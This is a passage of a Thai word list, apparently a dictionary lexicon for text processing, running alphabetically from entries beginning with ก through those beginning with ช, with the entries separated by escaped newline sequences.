\\nเกียกกาย\\nเกียง\\nเกี่ยง\\nเกี๋ยง\\nเกียจ\\nเกียด\\nเกียน\\nเกี้ยมไฉ่\\nเกี้ยมอี๋\\nเกียร์\\nเกียรติ\\nเกียรติ์\\nเกี่ยว\\nเกี้ยว\\nเกี๊ยว\\nเกี๊ยะ\\nเกื้อ\\nเกือก\\nเกื้อกูล\\nเกือบ\\nแก\\nแก่\\nแก้\\nแกง\\nแก่ง\\nแก้ง\\nแก๊ง\\nแกงได\\nแกงแนง\\nแกโดลิเนียม\\nแกน\\nแก่น\\nแก๊ป\\nแกม\\nแก้ม\\nแกมมา\\nแกรก\\nแกร่ง\\nแกร็น\\nแกรนิต\\nแกรไฟต์\\nแกร่ว\\nแกระ\\nแกล\\nแกล้ง\\nแกลน\\nแกลบ\\nแกล้ม\\nแกลลอน\\nแกลเลียม\\nแกล้ว\\nแกละ\\nแกแล\\nแกว\\nแก้ว\\nแกว่ง\\nแก๊ส\\nแกะ\\nโก\\nโก่\\nโก้\\nโก๋\\nโกก\\nโกกนุท\\nโกกิลา\\nโกโก้\\nโกง\\nโก่ง\\nโกงกาง\\nโก้งเก้ง\\nโกงโก้\\nโก้งโค้ง\\nโกเชาว์\\nโกญจนาท\\nโกญจา\\nโกฏิ\\nโกฐ\\nโกฐาส\\nโกณะ\\nโกดัง\\nโกทัณฑ์\\nโกน\\nโก่น\\nโก๋น\\nโกมล\\nโกมุท\\nโกเมน\\nโกเมศ\\nโกย\\nโกรก\\nโกรกกราก\\nโกรง\\nโกร่ง\\nโกร่งกร่าง\\nโกรงเกรง\\nโกร๋งเกร๋ง\\nโกรญจ\\nโกรต๋น\\nโกรธ\\nโกรธา\\nโกร๋น\\nโกรม\\nโกรย\\nโกรศ\\nโกโรโกเต\\nโกโรโกโรก\\nโกโรโกโส\\nโกลน\\nโกลาหล\\nโกไล\\nโกวิท\\nโกศ\\nโกศล\\nโกษม\\nโกสน\\nโกสัช\\nโกสินทร์\\nโกสีย์\\nโกสุม\\nโกไสย\\nโกหก\\nใกล้\\nไก\\nไก่\\nไก๊\\nไก๋\\nไก่กอม\\nไกพัล\\nไกร\\nไกรพ\\nไกรลาส\\nไกรศร\\nไกรศรี\\nไกรสร\\nไกรสรี\\nไกรสิทธิ\\nไกล\\nไกล่\\nไกลาส\\nไกว\\nไกวัล\\nขงจื๊อ\\nขจร\\nขจรจบ\\nขจัด\\nขจ่าง\\nขจาย\\nขจาว\\nขจิต\\nขจี\\nขจุย\\nขเจา\\nขณะ\\nขด\\nขน\\nข้น\\nขนง\\nขนด\\nขนบ\\nขนม\\nขนอง\\nขนอน\\nขนอบ\\nขนัด\\nขนัน\\nขนาก\\nขนาง\\nขนาด\\nขนาน\\nขนาบ\\nขนาย\\nขนำ\\nขนิษฐ\\nขนิษฐา\\nขนุน\\nขนุนนก\\nขบ\\nขบถ\\nขบวน\\nขบวร\\nขม\\nข่ม\\nขมงโกรย\\nขมวด\\nขมวน\\nขมอง\\nขม่อม\\nขมัง\\nขมับ\\nขมา\\nขม้ำ\\nขมิ้น\\nขมิบ\\nขมีขมัน\\nขมึง\\nขมึงทึง\\nขมุ\\nขมุกขมัว\\nขมุบ\\nขโมย\\nขยด\\nขยม\\nขย่ม\\nขยอก\\nขยอง\\nขย่อน\\nขย้อน\\nขยะ\\nขยัก\\nขยัน\\nขยั้น\\nขยับ\\nขยาด\\nขยาย\\nขยำ\\nขย้ำ\\nขยิก\\nขยิบ\\nขยิ่ม\\nขยี้\\nขยุกขยิก\\nขยุกขยุย\\nขยุบ\\nขยุบขยิบ\\nขยุม\\nขยุ้ม\\nขยุย\\nขรม\\nขรรค์\\nขรัว\\nขริบ\\nขรี\\nขรึม\\nขรุขระ\\nขลบ\\nขล้อ\\nขลัง\\nขลับ\\nขลาด\\nขลาย\\nขลิบ\\nขลุก\\nขลุกขลัก\\nขลุกขลิก\\nขลุบ\\nขลุม\\nขลุ่ย\\nขลู\\nขลู่\\nขวง\\nข่วง\\nขวด\\nข่วน\\nขวนขวาย\\nขวบ\\nขวย\\nขวักไขว่\\nขวัญ\\nขวั้น\\nขวับ\\nขวับเขวียว\\nขวา\\nขวาก\\nขวาง\\nขว้าง\\nขวาด\\nขวาน\\nขวายขวน\\nขวาว\\nขว้าว\\nขวิด\\nขอ\\nข่อ\\nข้อ\\nของ\\nข้อง\\nขอด\\nขอน\\nข้อน\\nขอบ\\nขอม\\nข่อย\\nข้อย\\nข่อยหยอง\\nขะแจะ\\nขะเน็ด\\nขะมอมขะแมม\\nขะมักเขม้น\\nขะมุกขะมอม\\nขะยิก\\nขะยุก\\nขะเย้อแขย่ง\\nขัค\\nขัง\\nขังขอก\\nขัช\\nขัณฑสกร\\nขัณฑสีมา\\nขัด\\nขัดมอน\\nขัตติยมานะ\\nขัน\\nขั้น\\nขันติ\\nขันตี\\nขันโตก\\nขันที\\nขันธ์\\nขันธาวาร\\nขับ\\nขัว\\nขั้ว\\nขา\\nข่า\\nข้า\\nขาก\\nขาก๊วย\\nขาง\\nข่าง\\nข้าง\\nขาณุ\\nขาด\\nขาทนียะ\\nขาน\\nขาบ\\nข้าพเจ้า\\nขาม\\nข่าม\\nข้าม\\nขาย\\nข่าย\\nขาล\\nขาว\\nข่าว\\nข้าว\\nข้าวอังกุลี\\nขำ\\nขิก\\nขิง\\nขิงแกลง\\nขิงแครง\\nขิด\\nขิปสัทโท\\nขิม\\nขี่\\nขี้\\nขี้เข็บ\\nขีณาสพ\\nขีด\\nขี้ตังนี\\nขีปนาวุธ\\nขี้ยอก\\nขีระ\\nขึง\\nขึ้ง\\nขึ้น\\nขึ้นฉ่าย\\nขืน\\nขื่น\\nขื่อ\\nขุก\\nขุด\\nขุน\\nขุ่น\\nขุนเพ็ด\\nขุม\\nขุย\\nขู่\\nขูด\\nเข\\nเข้\\nเขก\\nเข็ง\\nเข่ง\\nเขจร\\nเข็ญ\\nเข็ด\\nเขดา\\nเขต\\nเขน\\nเข็น\\nเข่น\\nเขนง\\nเขน็ด\\nเขนย\\nเขบ็จขบวน\\nเขบ็ต\\nเขม\\nเข็ม\\nเข้ม\\nเข้มขาบ\\nเขม็ง\\nเขม็ดแขม่\\nเขม่น\\nเขม้น\\nเขม้นขะมัก\\nเขมร\\nเขมา\\nเขม่า\\nเขมือบ\\nเขย\\nเขยก\\nเขย่ง\\nเขย้อแขย่ง\\nเขย่า\\nเขยิน\\nเขยิบ\\nเขยื้อน\\nเขรอะ\\nเขลง\\nเขลอะ\\nเขละ\\nเขลา\\nเขลาะ\\nเขว\\nเขษม\\nเขฬะ\\nเขะขะ\\nเขา\\nเข่า\\nเข้า\\nเขิง\\nเขิน\\nเขิบ\\nเขี่ย\\nเขียง\\nเขียด\\nเขียดตะปาด\\nเขียน\\nเขี่ยน\\nเขียม\\nเขียว\\nเขี้ยว\\nเขียะ\\nเขือ\\nเขือง\\nเขื่อง\\nเขื่อน\\nเขือม\\nแข\\nแข้\\nแขก\\nแข็ง\\nแข่ง\\nแข้ง\\nแขน\\nแข่น\\nแข้น\\nแขนง\\nแขม\\nแขม็บ\\nแขม่ว\\nแขยง\\nแขย่ง\\nแขวก\\nแขวง\\nแขวน\\nแขวะ\\nโข\\nโขก\\nโขง\\nโข่ง\\nโขด\\nโขดง\\nโขน\\nโขนง\\nโขม\\nโขมง\\nโขมด\\nโขยก\\nโขยง\\nโขย่ง\\nโขยด\\nโขลก\\nโขลง\\nโขลน\\nโขษม\\nไข\\nไข่\\nไข้\\nไขว่\\nไขว้\\nคคนะ\\nคคนัมพร\\nคคนางค์\\nคคนานต์\\nคง\\nคงคา\\nคงไคย\\nคช\\nคชาชาติ\\nคชาชีพ\\nคชาธาร\\nคชาภรณ์\\nคณนา\\nคณบดี\\nคณะ\\nคณาจารย์\\nคณาธิการ\\nคณาธิปไตย\\nคณานับ\\nคณิกา\\nคณิต\\nคเณศ\\nคด\\nคดี\\nคติ\\nคทา\\nคน\\nค้น\\nคนทา\\nคนทิสอ\\nคนที\\nคนโท\\nคนธ์\\nคันธ์\\nคนธรรพ์\\nคเนจร\\nคบ\\nคม\\nคมน์\\nคมนาการ\\nคมนาคม\\nคมิกภัต\\nครก\\nครบ\\nครรชิต\\nครรภ\\nครรภ์\\nครรลอง\\nครรโลง\\nครรไล\\nครวญ\\nครวี\\nครหา\\nครอก\\nครอง\\nครองแครง\\nคร่อเงาะ\\nคร่อเทียน\\nครอบ\\nคร่อม\\nคระเมิม\\nคระแลง\\nคระไล\\nคระแวง\\nคระหน\\nคระหวน\\nคระหาย\\nคระโหย\\nครั่ง\\nครั้ง\\nครัดเคร่ง\\nครัน\\nครั่น\\nครั้น\\nครับ\\nครัว\\nครา\\nคร่า\\nคราก\\nคราง\\nคราญ\\nคราด\\nคร้าน\\nคราบ\\nคราม\\nคร้าม\\nครามครัน\\nคราว\\nคร่าว\\nคราส\\nครำ\\nคร่ำ\\nคร่ำเคร่ง\\nคริปทอน\\nคริสต์\\nครีบ\\nครีม\\nครีษมายัน\\nครึ\\nครึกครื้น\\nครึกโครม\\nครึ่ง\\nครึ่ด\\nครึน\\nครึ้ม\\nครืด\\nครืน\\nครื้น\\nครืนครั่น\\nครื้นครั่น\\nครื้นครึก\\nครื้นเครง\\nครือ\\nครุ\\nครุคระ\\nครุฑ\\nครุ่น\\nครุมเครือ\\nครุย\\nครุวนา\\nครู\\nครู่\\nครูด\\nคฤโฆษ\\nคฤนถ์\\nคฤหบดี\\nคฤหัสถ์\\nคฤหาสน์\\nคลวง\\nคลอ\\nคล้อ\\nคลอก\\nคลอง\\nคล่อง\\nคล้อง\\nคลอด\\nคลอน\\nคล้อย\\nคลอรีน\\nคลอโรฟอร์ม\\nคลอโรฟีลล์\\nคละ\\nคละคลุ้ง\\nคลัก\\nคลั่ก\\nคลัง\\nคลั่ง\\nคลัตช์\\nคลับคล้าย\\nคลับคลา\\nคลา\\nคล้า\\nคลางแคลง\\nคลาด\\nคลาน\\nคลาย\\nคล้าย\\nคล้ายคลึง\\nคล่าว\\nคลำ\\nคล่ำ\\nคล้ำ\\nคลิ้งโคลง\\nคลิด\\nคลินิก\\nคลี\\nคลี่\\nคลึง\\nคลื่น\\nคลุก\\nคลุ้ง\\nคลุบ\\nคลุม\\nคลุ่ม\\nคลุ้ม\\nควง\\nควณ\\nควน\\nควบ\\nควย\\nควร\\nควัก\\nควั่ก\\nควั่งคว้าง\\nควัน\\nควั่น\\nคว้า\\nควาก\\nคว้าง\\nควาญ\\nควาน\\nคว้าน\\nความ\\nควาย\\nคว่าว\\nคว่ำ\\nควินิน\\nควิวคว่าง\\nคหกรรม\\nคหกรรมศาสตร์\\nคหบดี\\nคหัฐ\\nคอ\\nค้อ\\nคอก\\nค็อกคัส\\nค็อกเทล\\nคอเคซอยด์\\nค่องอ้อย\\nคอด\\nคอแดง\\nคอน\\nค่อน\\nค้อน\\nคอนกรีต\\nคอนเดนเซอร์\\nคอนแวนต์\\nคอนเสิร์ต\\nคอม\\nค่อม\\nค้อม\\nคอมพิวเตอร์\\nคอมมานโด\\nคอมมิวนิสต์\\nคอย\\nค่อย\\nค้อย\\nคอยล์\\nคอร์ด\\nคอแลน\\nคอสติกโซดา\\nคะ\\nค่ะ\\nคะไขว่\\nคะค้อย\\nคะคาน\\nคะนน\\nคะนอง\\nคะน้า\\nคะนึง\\nคะเน\\nคะเนงร้าย\\nคะเน็ด\\nคะแนน\\nคะมำ\\nคะยั้นคะยอ\\nคะเยอ\\nคัก\\nคั่ก\\nคัคนะ\\nคัคนัมพร\\nคัคนางค์\\nคัคนานต์\\nคั่ง\\nคังไคย\\nคัจฉ\\nคัณฑมาลา\\nคัณฑสูตร\\nคัด\\nคัดเค้า\\nคัดมอน\\nคัดเม็ง\\nคัทลียา\\nคัน\\nคั่น\\nคั้น\\nคันถรจนาจารย์\\nคันธกุฎี\\nคันธมาทน์\\nคันธารราษฎร์\\nคับ\\nคับค้อน\\nคับคา\\nคับแค\\nคัพภ์\\nคัมภีร์\\nคัมภีรภาพ\\nคัล\\nคั่ว\\nคา\\nค่า\\nค้า\\nค่าคบ\\nคาง\\nค่าง\\nค้าง\\nคางคก\\nค้างคาว\\nคาด\\nคาถา\\nคาทอลิก\\nคาน\\nค้าน\\nคาบ\\nคาพยุต\\nคาม\\nคามวาสี\\nคามณีย์\\nคามภีร์\\nคาย\\nค่าย\\nคาร์บอน\\nคาร์บอเนต\\nคาร์บอลิก\\nคาร์บูเรเตอร์\\nคาร์โบรันดัม\\nคาร์โบไฮเดรต\\nคารม\\nคารวะ\\nคาราเต้\\nคาราวาน\\nคาว\\nค่าว\\nค้าว\\nคาวตอง\\nคาวี\\nคาวุต\\nคาส\\nคำ\\nค่ำ\\nค้ำ\\nคำนวณ\\nคำนวร\\nคำนับ\\nคำนัล\\nคำนึง\\nคำนูณ\\nคำฝอย\\nคำเพลิง\\nคำรน\\nคำรบ\\nคำราม\\nคำแสด\\nคำแหง\\nคำโอง\\nคิก\\nคิง\\nคิด\\nคิมหันต์\\nคิรี\\nคิลาน\\nคิลานะ\\nคิว\\nคิ้ว\\nคี่\\nคีต\\nคีบ\\nคีม\\nคีรี\\nคีรีบูน\\nคึก\\nคึ่ก\\nคึกคัก\\nคืน\\nคืบ\\nคือ\\nคุ\\nคุก\\nคุกกี้\\nคุกคาม\\nคุกพาทย์\\nคุ้ง\\nคุณ\\nคุด\\nคุดทะราด\\nคุต\\nคุตติ\\nคุ่น\\nคุ้น\\nคุป\\nคุปต์\\nคุปติ\\nคุม\\nคุ่ม\\nคุ้ม\\nคุย\\nคุ้ย\\nคุยหฐาน\\nคุยหประเทศ\\nคุรุ\\nคุลา\\nคุลิก่า\\nคุลีการ\\nคุหา\\nคู\\nคู่\\nคู้\\nคูณ\\nคูถ\\nคูน\\nคูปอง\\nคูเรียม\\nคูหา\\nเค้ก\\nเค้เก้\\nเค้ง\\nเคณฑะ\\nเคด\\nเค็ด\\nเคน\\nเค้น\\nเคเบิล\\nเค็ม\\nเคมี\\nเคย\\nเครง\\nเคร่ง\\nเครงครา\\nเครงครำ\\nเครดิต\\nเครน\\nเครา\\nเคร่า\\nเคราหณี\\nเคราะห์\\nเครียด\\nเครียว\\nเครือ\\nเครื่อง\\nเคล้ง\\nเคล็ด\\nเคล้น\\nเคล้า\\nเคล่าคล่อง\\nเคลิบเคลิ้ม\\nเคลิ้ม\\nเคลีย\\nเคลื่อน\\nเคลือบ\\nเคว้ง\\nเคหะ\\nเคหา\\nเคอะ\\nเค้า\\nเคาน์เตอร์\\nเคารพ\\nเคาะ\\nเคาะแคะ\\nเคียง\\nเคียด\\nเคียน\\nเคียม\\nเคี่ยม\\nเคียร\\nเคียว\\nเคี่ยว\\nเคี้ยว\\nเคือง\\nแค\\nแค่\\nแค้\\nแคแล\\nแคดเมียม\\nแค็ตตาล็อก\\nแคแตร\\nแคโทด\\nแคน\\nแค่น\\nแค้น\\nแคบ\\nแคบหมู\\nแคปซูล\\nแคม\\nแคร่\\nแครก\\nแครง\\nแคระ\\nแคลคูลัส\\nแคลง\\nแคลเซียม\\nแคลน\\nแคล้ว\\nแคล่วคล่อง\\nแคลอรี\\nแคลิฟอร์เนียม\\nแคว\\nแควก\\nแคว้น\\nแคแสด\\nแคะ\\nโค\\nโคก\\nโคเคน\\nโค่ง\\nโค้ง\\nโคจร\\nโคเซแคนต์\\nโคไซน์\\nโคตร\\nโคแทนเจนต์\\nโคธา\\nโคน\\nโค่น\\nโคบอลต์\\nโคปผกะ\\nโคม\\nโคม่า\\nโครก\\nโครกคราก\\nโครง\\nโคร่ง\\nโคร่งคร่าง\\nโครม\\nโครเมียม\\nโครโมโซม\\nโคราช\\nโครำ\\nโคล\\nโคลง\\nโคลน\\nโควตา\\nโคออร์ดิเนต\\nใคร\\nใคร่\\nใคร่ครวญ\\nไค\\nไค้\\nไคร้\\nไคร้เครือ\\nไคล\\nไคล้\\nฆนะ\\nฆราวาส\\nฆ้อง\\nฆ่า\\nฆาต\\nฆาน\\nฆานินทรีย์\\nเฆี่ยน\\nโฆรวิส\\nโฆษก\\nโฆษณา\\nโฆษะ\\nโฆษิต\\nงก\\nงง\\nงด\\nงดงาม\\nงบ\\nงม\\nงวง\\nง่วง\\nงวด\\nง่วน\\nง้วน\\nงวยงง\\nงอ\\nง้อ\\nงอก\\nงอกแงก\\nง่อกแง่ก\\nง่อง\\nง่องแง่ง\\nงอแง\\nงอด\\nงอดแงด\\nงอน\\nง่อน\\nง่อนแง่น\\nงอนหง่อ\\nงอบ\\nงอม\\nง้อม\\nงอย\\nง่อย\\nงัก\\nงั่ก\\nงั่ง\\nงัด\\nงัน\\nงันงก\\nงับ\\nงัว\\nงั่ว\\nงัวเงีย\\nงา\\nง่า\\nง้าง\\nงาน\\nง่าน\\nงาบ\\nงาม\\nง่าม\\nงาย\\nง่าย\\nง้าว\\nงำ\\nง่ำ\\nง้ำ\\nงิ้ว\\nงี่เง่า\\nงีบ\\nงึก\\nงึน\\nงึม\\nงุด\\nงุนงง\\nงุ่นง่าน\\nงุบ\\nงุบงิบ\\nงุ้ม\\nงุ่มง่าม\\nงุย\\nงู\\nงูบ\\nงูสวัด\\nเงก\\nเงย\\nเงอะ\\nเงอะงะ\\nเงา\\nเง่า\\nเง้า\\nเงาะ\\nเงิน\\nเงี่ยง\\nเงี่ยน\\nเงียบ\\nเงี้ยว\\nเงี่ยหู\\nเงื้อ\\nเงือก\\nเงื่อง\\nเงือด\\nเงื่อน\\nเงือบ\\nเงื้อม\\nแง\\nแง่\\nแง่ง\\nแง่น\\nแง้ม\\nแงะ\\nโง\\nโง่\\nโงก\\nโงกเงก\\nโงง\\nโง่ง\\nโง้ง\\nโงงเงง\\nโง่งเง่ง\\nโงเง\\nโงน\\nโงนเงน\\nไง้\\nจก\\nจง\\nจ่ง\\nจงกรม\\nจงกล\\nจงกลนี\\nจงโคร่ง\\nโจงโคร่ง\\nจงอร\\nจงอาง\\nจด\\nจดุรงค์\\nจตุปัจจัย\\nจตุลังคบาท\\nจตุโลกบาล\\nจตุสดมภ์\\nจตุตถ\\nจตุตถี\\nจตุร\\nจตุรงค์\\nจตุรพักตร์\\nจตุรพิธ\\nจตุรพิธพร\\nจน\\nจบ\\nจม\\nจ่ม\\nจมร\\nจมรี\\nจมูก\\nจยุติ\\nจร\\nจรณะ\\nจรด\\nจรรจา\\nจรรโจษ\\nจรรม\\nจรรยา\\nจรรโลง\\nจรลี\\nจรวจ\\nจรวด\\nจรส\\nจรอก\\nจระเข้\\nจระนำ\\nจระบี\\nจรัล\\nจรัส\\nจราจร\\nจราญ\\nจริก\\nจริง\\nจริต\\nจริม\\nจริยธรรม\\nจริยวัตร\\nจริยาวัตร\\nจริยศาสตร์\\nจริยศึกษา\\nจริยา\\nจรุง\\nจรูง\\nจรูญ\\nจเร\\nจล\\nจลนพลศาสตร์\\nจลนศาสตร์\\nจลนี\\nจลาจล\\nจวก\\nจ๊วก\\nจวง\\nจ้วง\\nจ๋วง\\nจวด\\nจวน\\nจวบ\\nจวัก\\nจอ\\nจ่อ\\nจ้อ\\nจ๋อ\\nจอก\\nจ้อก\\nจ๊อก\\nจ้อกแจ้ก\\nจอง\\nจ้อง\\nจ๋อง\\nจ้องเต\\nจองเปรียง\\nจ้องหน่อง\\nจองหอง\\nจอแจ\\nจ๋อแจ๋\\nจอด\\nจอน\\nจ้อน\\nจอนจ่อ\\nจอบ\\nจอม\\nจ่อม\\nจอมสุรางค์\\nจ่อย\\nจ้อย\\nจ๋อย\\nจอแส\\nจะ\\nจ้ะ\\nจ๊ะ\\nจ๋ะ\\nจะกละ\\nจะกลาม\\nจะกูด\\nจะขาบ\\nจะเข้\\nจะเข็บ\\nจะงอย\\nจะจะ\\nจ๊ะจ๋า\\nจะแจ้ง\\nจะแจ่ม\\nจะละเม็ด\\nจะละหวั่น\\nจัก\\nจั้ก\\nจักกาย\\nจั๊กกิ้ม\\nจักขุ\\nจักจั่น\\nจักจี้\\nจั๊กจี้\\nจั๊กเดียม\\nจักร\\nจักรพาก\\nจักรวาก\\nจักริน\\nจักรี\\nจั๊กเล้อ\\nจักษุ\\nจักแหล่น\\nจัง\\nจั้ง\\nจั๋ง\\nจังกวด\\nจังกอบ\\nจังก้า\\nจังกูด\\nจังโกฏก์\\nจังงัง\\nจั้งมั่ง\\nจังไร\\nจังหนับ\\nจังหรีด\\nจังหวะ\\nจังหวัด\\nจังหัน\\nจัญไร\\nจัณฑ์\\nจัณฑาล\\nจัด\\nจัตตาฬีสะ\\nจัตวา\\nจัตุ\\nจัตุรงค์\\nจัตุรัส\\nจัตุลังคบาท\\nจัตุโลกบาล\\nจัตุสดมภ์\\nจัน\\nจั่น\\nจันโจษ\\nจั่นดิน\\nจันท์\\nจันทน์\\nจันทร์\\nจันทรคติ\\nจันทรคราส\\nจันทรุปราคา\\nจันทรเม็ด\\nจันทวาร\\nจันทัน\\nจันอับ\\nจับ\\nจับกัง\\nจับฉ่าย\\nจับเดิม\\nจับปิ้ง\\nจับยี่กี\\nจัมบก\\nจัมปกะ\\nจัมปา\\nจัมมะ\\nจัว\\nจั่ว\\nจั๊วะ\\nจา\\nจ่า\\nจ้า\\nจ๋า\\nจาก\\nจากพาก\\nจาคะ\\nจาคี\\nจาง\\nจ่าง\\nจ้าง\\nจางปาง\\nจางวาง\\nจาด\\nจาตุรงค์\\nจาตุรนต์\\nจาตุรันต์\\nจาน\\nจ้าน\\nจาบ\\nจาบัล\\nจาบัลย์\\nจาป\\nจาม\\nจ่ามงกุฎ\\nจามจุรี\\nจามร\\nจามรี\\nจามีกร\\nจ่าย\\nจาร\\nจ่ารง\\nจารวาก\\nจาระไน\\nจาระบี\\nจาริก\\nจารึก\\nจารี\\nจารีต\\nจารุ\\nจ้าละหวั่น\\nจาว\\nจ้าว\\nจ่าหวัก\\nจำ\\nจ้ำ\\nจำกัด\\nจำงาย\\nจ้ำจี้\\nจำเจ\\nจำเดิม\\nจำทวย\\nจำนง\\nจำนน\\nจำนรรจ์\\nจำนรรจา\\nจำนวน\\nจำนอง\\nจำนัล\\nจำนำ\\nจำเนียน\\nจำเนียม\\nจำเนียร\\nจำแนก\\nจำบ่ม\\nจำบัง\\nจ้ำเบ้า\\nจำปา\\nจำปาดะ\\nจำปี\\nจำปูน\\nจำพวก\\nจำเพาะ\\nจ้ำม่ำ\\nจำรัส\\nจำราญ\\nจำรูญ\\nจำเริญ\\nจำเรียง\\nจำลอง\\nจำเลย\\nจำเลาะ\\nจำแลง\\nจำแล่น\\nจำหนับ\\nจ๋ำหนับ\\nจำหน่าย\\nจำหระ\\nจำหล่อ\\nจำหลัก\\nจำเหียง\\nจำอวด\\nจิ\\nจิก\\nจิ้งโกร่ง\\nจิ้งจก\\nจิงจ้อ\\nจิ้งจอก\\nจิงจัง\\nจิ้งจัง\\nจิงโจ้\\nจิ้งหรีด\\nจิ้งเหลน\\nจิต\\nจิตกาธาน\\nจิตต์\\nจิตร\\nจิตรจุล\\nจิตระ\\nจิตรา\\nจินเจา\\nจินดา\\nจินดาหนา\\nจินดาหรา\\nจินต์\\nจิบ\\nจิปาถะ\\nจิ่ม\\nจิ้ม\\nจิ้มก้อง\\nจิ้มลิ้ม\\nจิรกาล\\nจิ๋ว\\nจี\\nจี่\\nจี้\\nจี๋\\nจี๋จ้อ\\nจีแจ๊บ\\nจี๊ด\\nจีน\\nจีนแส\\nจีบ\\nจีโบ\\nจีม\\nจีวร\\nจึง\\nจึ่ง\\nจึ้ง\\nจืด\\nจุ\\nจุก\\nจุ๊กกรู๊\\nจุกจิก\\nจุกชี\\nจุกผาม\\nจุกโรหินี\\nจุ่ง\\nจุ๋งจิ๋ง\\nจุฑา\\nจุณ\\nจุณณียบท\\nจุด\\nจุติ\\nจุตูปปาตญาณ\\nจุทส\\nจุน\\nจุ่น\\nจุ้น\\nจุนจู๋\\nจุ้นจู๊\\nจุนทการ\\nจุนสี\\nจุบ\\nจุ๊บ\\nจุบจิบ\\nจุ๊บแจง\\nจุ่ม\\nจุ้ม\\nจุ๋มจิ๋ม\\nจุมพฏ\\nจุมพรวด\\nจุมพล\\nจุมพิต\\nจุมโพล่\\nจุ้ย\\nจุรณ\\nจูรณ\\nจุรี\\nจุไร\\nจุล\\nจุลจอมเกล้า\\nจุลวงศ์\\nจุฬา\\nจุฬาราชมนตรี\\nจุฬาลัมพา\\nจุฬาลำพา\\nจู\\nจู่\\nจู้\\nจู๋\\nจูง\\nจู้จี้\\nจู๋จี๋\\nจู๊ด\\nจูบ\\nเจ\\nเจ๊ก\\nเจ่ง\\nเจ้ง\\nเจ๊ง\\nเจ๋ง\\nเจ็ด\\nเจ็ดตะคลี\\nเจดีย์\\nเจดียสถาน\\nเจต\\nเจตนา\\nเจตพังคี\\nเจตมูลเพลิง\\nเจตสิก\\nเจโตวิมุติ\\nเจน\\nเจ็บ\\nเจรจา\\nเจริญ\\nเจริด\\nเจรียง\\nเจลียง\\nเจว็ด\\nเจษฎา\\nเจ๊สัว\\nเจอ\\nเจ่อ\\nเจ๋อ\\nเจ๋อเจ๊อะ\\nเจอร์เมเนียม\\nเจอะ\\nเจา\\nเจ่า\\nเจ้า\\nเจ๊า\\nเจาะ\\nเจิ่ง\\nเจิด\\nเจิ่น\\nเจิม\\nเจีย\\nเจียง\\nเจียด\\nเจียน\\nเจี๋ยน\\nเจี๊ยบ\\nเจียม\\nเจี๋ยมเจี้ยม\\nเจียร\\nเจียระไน\\nเจียระบาด\\nเจียว\\nเจี๊ยวจ๊าว\\nเจือ\\nเจื่อน\\nเจื้อย\\nเจือสม\\nแจ\\nแจ้\\nแจ๋\\nแจก\\nแจกัน\\nแจง\\nแจ่ง\\nแจ้ง\\nแจงลอน\\nแจ๊ด\\nแจ๊ดแจ๋\\nแจตร\\nแจ้น\\nแจบ\\nแจ่ม\\nแจรง\\nแจว\\nแจ่ว\\nแจ้ว\\nแจ๋ว\\nแจะ\\nโจก\\nโจ๊ก\\nโจง\\nโจ่งครึ่ม\\nโจ๋งครึ่ม\\nโจ่งครุ่ม\\nโจ๋งเจ๋ง\\nโจ่งแจ้ง\\nโจท\\nโจทก์\\nโจทนา\\nโจทย์\\nโจน\\nโจม\\nโจร\\nโจล\\nโจษ\\nโจษจัน\\nใจ\\nไจ\\nไจ้\\nฉก\\nฉกรรจ์\\nฉกษัตริย์\\nฉกาจ\\nฉกามาพจร\\nฉกามาวจร\\nฉง\\nฉงน\\nฉงาย\\nฉทึง\\nฉนวน\\nฉนัง\\nฉนาก\\nฉนำ\\nฉบัง\\nฉบัด\\nฉบับ\\nฉบำ\\nฉม\\nฉมบ\\nฉมวก\\nฉมวย\\nฉม่อง\\nฉมัง\\nฉมัน\\nฉมา\\nฉมำ\\nฉล\\nฉลวย\\nฉลอง\\nฉลอม\\nฉลัก\\nฉลับ\\nฉลาก\\nฉลาง\\nฉลาด\\nฉลาม\\nฉลาย\\nฉลิว\\nฉลีก\\nฉลุ\\nฉลู\\nฉวย\\nฉวะ\\nฉวัดเฉวียน\\nฉวาง\\nฉวี\\nฉศก\\nฉ้อ\\nฉอก\\nฉ่อง\\nฉอด\\nฉ่อย\\nฉอเลาะ\\nฉะ\\nฉะฉาด\\nฉะฉาน\\nฉะฉ่ำ\\nฉะฉี่\\nฉะเฉื่อย\\nฉะนั้น\\nฉะนี้\\nฉะอ้อน\\nฉักกะ\\nฉัฐ\\nฉัด\\nฉัตร\\nฉัททันต์\\nฉัน\\nฉันท\\nฉันท์\\nฉันทะ\\nฉันทา\\nฉันทาคติ\\nฉันทานุมัติ\\nฉับ\\nฉัพพรรณรังสี\\nฉัยยา\\nฉ่า\\nฉาก\\nฉาง\\nฉ่าง\\nฉ่าฉาว\\nฉาด\\nฉาดฉาน\\nฉาตกภัย\\nฉาน\\nฉาบ\\nฉาบฉวย\\nฉาย\\nฉายา\\nฉาว\\nฉ่ำ\\nฉำฉา\\nฉำแฉะ\\nฉิ่ง\\nฉิน\\nฉินท์\\nฉินทฤกษ์\\nฉิบ\\nฉิมพลี\\nฉิว\\nฉี่\\nฉีก\\nฉีด\\nฉุ\\nฉุก\\nฉุด\\nฉุน\\nฉุป\\nฉุป\\nฉุย\\nฉุยฉาย\\nฉู่\\nฉู่ฉี่\\nฉูด\\nฉูดฉาด\\nเฉ\\nเฉก\\nเฉโก\\nเฉ่ง\\nเฉด\\nเฉท\\nเฉนียน\\nเฉพาะ\\nเฉย\\nเฉลย\\nเฉลว\\nเฉลา\\nเฉลิม\\nเฉลี่ย\\nเฉลียง\\nเฉลี่ยง\\nเฉลียบ\\nเฉลียว\\nเฉวียง\\nเฉวียน\\nเฉอะแฉะ\\nเฉา\\nเฉาก๊วย\\nเฉาฮื้อ\\nเฉาะ\\nเฉิด\\nเฉิบ\\nเฉียง\\nเฉียงพร้านางแอ\\nเฉียด\\nเฉียบ\\nเฉียว\\nเฉี่ยว\\nเฉือน\\nเฉื่อย\\nแฉ\\nแฉ่\\nแฉก\\nแฉง\\nแฉ่ง\\nแฉลบ\\nแฉล้ม\\nแฉะ\\nโฉ\\nโฉ่\\nโฉเก\\nโฉ่งฉ่าง\\nโฉงเฉง\\nโฉด\\nโฉนด\\nโฉบ\\nโฉเบ๊\\nโฉม\\nโฉลก\\nไฉน\\nไฉไล\\nชก\\nชคัตตรัย\\nชง\\nชงโค\\nชงฆ์\\nชงฆา\\nชงโลง\\nชฎา\\nชฎามังษี\\nชฎามังสี\\nชฎิล\\nชด\\nชน\\nชนก\\nชนนี\\nชนม์\\nชนวน\\nชนะ\\nชนัก\\nชนา\\nชนาง\\nชนิด\\nชเนตตี\\nชบา\\nชม\\nชมดชม้อย\\nชมนาด\\nชมพู\\nชมพู่\\nชมรม\\nชม้